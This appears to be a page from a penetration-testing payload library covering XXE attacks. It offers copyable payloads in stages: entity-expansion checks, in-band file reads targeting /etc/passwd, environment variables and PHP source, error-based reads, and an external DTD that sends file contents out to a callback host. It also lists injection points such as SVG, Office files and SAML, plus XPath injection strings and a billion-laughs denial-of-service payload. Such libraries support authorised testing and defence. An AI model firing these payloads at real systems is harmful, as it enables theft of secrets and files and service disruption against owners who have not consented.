PAYLOADS
Engagement set once — every payload copies with these filled in

XXE

class

An XML parser that resolves external entities, turned into file read and SSRF.

19 payloads · updated 2026-08-24 · see also Server-side request forgery, Encoding and bypass · raw

01Does it accept a DOCTYPE at all

No network, no callback, no external anything. This is the first thing you send.

Before entities, before files, before out-of-band: does the parser even let you declare a DOCTYPE, and does it expand an entity you define yourself? An internal entity answers both, and it never leaves the target.

INTERNAL ENTITY — START HERE3
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x "XXETEST{{CANARY}}">]><r>&x;</r>If XXETEST comes back in the response, entities expand and you are in business.
COPY
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x "XXETEST{{CANARY}}">]><r><name>&x;</name></r>Same, wrapped in whatever element the endpoint actually expects.
COPY
<?xml version="1.0"?><!DOCTYPE r SYSTEM "http://localhost/nonexistent.dtd"><r>a</r>Is the DOCTYPE itself rejected? A specific "DOCTYPE is disallowed" error is a definite no.
COPY
READING THE RESPONSE
XXETEST... comes backEntities expand. Go straight to the file read below.
Value empty, no errorParsed, entity silently dropped. Try error-based or blind.
"DOCTYPE is disallowed"Properly hardened. Stop, and check for XPath injection instead.
Parse error naming a lineIt parses XML but rejected your syntax. Fix the shape and retry.
No change at allProbably not being parsed as XML. Check the Content-Type.

Why this before anything else — an internal entity proves the mechanism with zero footprint. If it works, you know the next payload will too. If a DOCTYPE is refused outright, you have saved yourself an hour of firing external payloads at a parser that was never going to resolve them.

02Read a file, in-band

The entity comes back in the response. Still no network needed.

LOCAL FILE READ5
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>
COPY
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/hostname">]><r>&x;</r>Short and boring. Use this one when /etc/passwd "fails" — see the note.
COPY
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///c:/windows/win.ini">]><r>&x;</r>
COPY
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///proc/self/environ">]><r>&x;</r>Environment variables — usually where the interesting secrets actually are.
COPY
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><r>&x;</r>PHP only. Base64 means the file's own < and & cannot break the parse.
COPY

A file containing < or & breaks the XML parse and looks exactly like a failure. /etc/passwd is safe; almost any config file is not. If a read appears to fail, retry with /etc/hostname before concluding the parser is patched — and reach for the PHP base64 filter when you need a file that isn't XML-safe.

03Error-based

Nothing is reflected, but errors are verbose.

ERROR-BASED FILE READ2
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///nonexistent/{{CANARY}}">]><r>&x;</r>Does the error quote your path back at you? If so, errors are a readable channel.
COPY
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % f SYSTEM "file:///etc/passwd"><!ENTITY % e "<!ENTITY &#x25; err SYSTEM 'file:///nonexistent/%f;'>">%e;%err;]><r></r>Puts the file contents inside a "no such file" error message. No network at all.
COPY

This is the step people skip. It needs no callback server, it works behind an egress filter, and a stack trace with the file contents in it is about as clean a proof as you can put in a report.

04Blind — out-of-band

Only once the three above have all failed.

Host evil.dtd on your own server:

EXTERNAL DTD (host this yourself)1
<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % w "<!ENTITY &#x25; send SYSTEM 'http://{{CALLBACK}}/?d=%file;'>">%w;%send;
COPY

Then send this to the target:

TRIGGER2
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % dtd SYSTEM "http://{{CALLBACK}}/evil.dtd"> %dtd;]><r></r>
COPY
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "http://{{CALLBACK}}/plain">]><r>&x;</r>Simplest possible OOB check — does it fetch a URL at all?
COPY

A newline in the file breaks the URL and the request never fires, so plain OOB exfiltration only works on single-line files. Wrap the read in php://filter/convert.base64-encode where you can, or use the error-based method above instead.

05Where to inject it

Half of all XXE lives in endpoints nobody thought were XML.

LOOK HERE
Content-Type: application/xmlThe obvious one.
A JSON endpointChange the Content-Type to application/xml and send XML. Plenty of frameworks parse both.
File upload.docx, .xlsx, .pptx, .svg are zip archives full of XML. Replace a part, re-zip.
SOAPOld, and frequently unpatched.
SAMLThe assertion is XML, and it is parsed *before* authentication.
RSS / sitemap importersAnywhere the app fetches XML from a URL you supplied.
SVG UPLOAD1
<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY x SYSTEM "file:///etc/passwd">]><svg xmlns="http://www.w3.org/2000/svg"><text>&x;</text></svg>
COPY

06When entities are disabled

Not everything XML-shaped is XXE.

XPATH INJECTION4
' or '1'='1
COPY
') or ('1'='1
COPY
' or 1=1 or ''='
COPY
x' or name()='username' or 'x'='y
COPY
BILLION LAUGHS1
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY a "aaaaaaaaaa"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">]><r>&c;</r>Internal entities only, so it survives external-entity hardening. It is a denial of service — get it in writing before you fire it.
COPY

If external entities are off, check whether the values inside the XML reach an XPath query. Different bug, same request, and it is frequently unprotected because everyone was busy fixing XXE.

/
↑↓ move⏎ copy⇧⏎ open pageesc close